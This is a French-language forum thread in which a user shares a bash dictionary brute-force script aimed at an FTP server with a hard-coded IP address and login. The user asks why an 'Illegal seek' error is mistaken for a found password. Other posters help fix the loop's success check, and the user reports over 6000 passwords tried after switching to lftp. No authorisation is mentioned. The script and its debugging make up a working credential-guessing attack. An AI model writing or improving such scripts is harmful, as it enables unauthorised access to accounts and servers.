#!/bin/bash IP="212.27.63.3" COMMAND="ftp" DICTIONARY="dico-fr-10.txt" NBRTEST="1" LOGIN="coquerico" while [ "1" == "1" ]; do WORD="$(cat ${DICTIONARY} | awk -v nbrtest=$NBRTEST 'NR == nbrtest {print;}')" echo "Test du mot de passe n°${NBRTEST} (${WORD})" # Création du fichier .netrc echo "machine ${IP}" > .netrc echo "login ${LOGIN}" >> .netrc echo "password ${WORD}" >> .netrc # Connexion au serveur RETURN="$(./crack-ftp-connexion.sh ${IP})" echo "Return value: '${RETURN}'" # Si le mot de passe est incorrect, passer au mot suivant if [ "${RETURN}" == "Login incorrect. [677]" ]; then NBRTEST=$((NBRTEST+1)) else echo "Mot de passe trouvé : ${WORD}" exit fi done echo "Terminé!" exitEt voici le script de connexion qui est appelé :
#!/bin/bash # Connexion au serveur ftp << ** open ${1} bye **J'espère que vous pourrez m'aider... Mon script s'arrête dès qu'il rencontre cette erreur car aucune valeur de retour n'est envoyé par 'ftp' et donc il croit que le mot de passe a été trouvé.
Ben oui. Tu as indiqué que le mot de passe n'était pas trouvé si RETURN = Login incorrect. Comme la variable en question n'est pas égale à cette chaîne, il croit que le mot de passe a été trouvé. Tu aurais pu t'en apercevoir tout seul surtout que t'as réussi à analyser la cause du pb !!!Citation
YuGiOhJCJ
Bonjour,
je viens de créer un script bash de hack FTP qui
fonctionne parfaitement jusqu'à ce qu'à un moment
l'erreur suivante s'affiche :
No control connection for command: Illegal seek
Avec google j'ai pas trouvé grand chose sur ce
problème...Pouvez-vous m'aider?
Voici le script :
#!/bin/bash
IP="212.27.63.3"
COMMAND="ftp"
DICTIONARY="dico-fr-10.txt"
NBRTEST="1"
LOGIN="coquerico"
while [ "1" == "1" ]; do
WORD="$(cat ${DICTIONARY} | awk -v
nbrtest=$NBRTEST 'NR == nbrtest {print;}')"
echo "Test du mot de passe n°${NBRTEST}
(${WORD})"
# Création du fichier .netrc
echo "machine ${IP}" > .netrc
echo "login ${LOGIN}" >> .netrc
echo "password ${WORD}" >> .netrc
# Connexion au serveur
RETURN="$(./crack-ftp-connexion.sh ${IP})"
echo "Return value: '${RETURN}'"
# Si le mot de passe est incorrect, passer au mot
suivant
if [ "${RETURN}" == "Login incorrect. [677]" ];
then
NBRTEST=$((NBRTEST+1))
else
echo "Mot de passe trouvé : ${WORD}"
exit
fi
done
echo "Terminé!"
exit
Et voici le script de connexion qui est appelé
:
#!/bin/bash
# Connexion au serveur
ftp << **
open ${1}
bye
J'espère que vous pourrez m'aider... Mon script s'arrête dès qu'il rencontre cette erreur car
aucune valeur de retour n'est envoyé par 'ftp' et donc il croit que le mot de passe a été trouvé.
if [ "${RETURN}" == "Login incorrect. [677]" ]
if [ -z "${RETURN}" -o "${RETURN}" == "Login incorrect. [677]" ]Là, tu vérifies en plus si "RETURN" est vide...
Exact. Mais le contenu de ton status (variable $?) est probablment différent de 0 dans le cas n° 1. Donc, si cette hypothèse est vraie (à vérifier), tu peux remplacer ce codeCitation
YuGiOhJCJ
Effectivement, le souci c'est que dans les 2 cas
suivants :
-S'il y a l'erreur dont je ne connais pas
l'origine
-Si le mot de passe est le bon
# Connexion au serveur RETURN="$(./crack-ftp-connexion.sh ${IP})" echo "Return value: '${RETURN}'" # Si le mot de passe est incorrect, passer au mot suivant if [ "${RETURN}" == "Login incorrect. [677]" ]; then ...
# Connexion au serveur RETURN="$(./crack-ftp-connexion.sh ${IP})"; status=$? echo "Return value: '${RETURN}' - Status value: '$status'" # Si la commande a échouée, passer au mot suivant if [ $status -ne 0 ]; then ...J'ai conservé la variable "RETURN" qui te permet de voir ce que ta commande a affiché mais elle ne sert probablement plus à rien dans l'algo de crack. Donc si c'est le cas, on peut directement écrire
# Connexion au serveur ./crack-ftp-connexion.sh ${IP} 1>/dev/null 2>&1; status=$? echo "Status value: '$status'"
Ne pas confondre "valeur retournée" (qui n'est en fait que la récupération de ce qu'affiche la commande) et "status"Citation
YuGiOhJCJ
On me retourne la même valeur : aucune.
... Return value: 'Login incorrect. [677]' - Status value = 0 Test du mot de passe n°297 (abonderas) Login failed. Return value: 'Login incorrect. [677]' - Status value = 0 Test du mot de passe n°298 (abondèrent) Login failed. No control connection for command: Illegal seek Return value: '' - Status value = 0 Mot de passe trouvé : abondèrentUne autre idée?
C'est en effet facile à faireCitation
YuGiOhJCJ
Merci pour cette info mais ce script est pour un usage personnel, si je compte le publier je modifirai ça.
# Si le mot de passe est incorrect, passer au mot suivant if [ "${RETURN}" == "Login incorrect. [677]" ]; then ...par
# Si le mot de passe est incorrect, passer au mot suivant if echo "$RETURN" |grep "[677]" 1>/dev/null then ...
Ben tant-mieux parce que j'avais pas d'autre solution. Si rien ne différencie un mot de passe trouvé d'une erreur inconnue, alors rien ne te permettra de programmer l'algo de recherche...Citation
YuGiOhJCJ
Sinon Problème résolu
J'ai tout simplement changé de client ftp. Au lieu de 'ftp' j'utilise 'lftp' qui lui ne me retourne
pas d'erreur (du moins, après plus de 6000 mots de passe testés).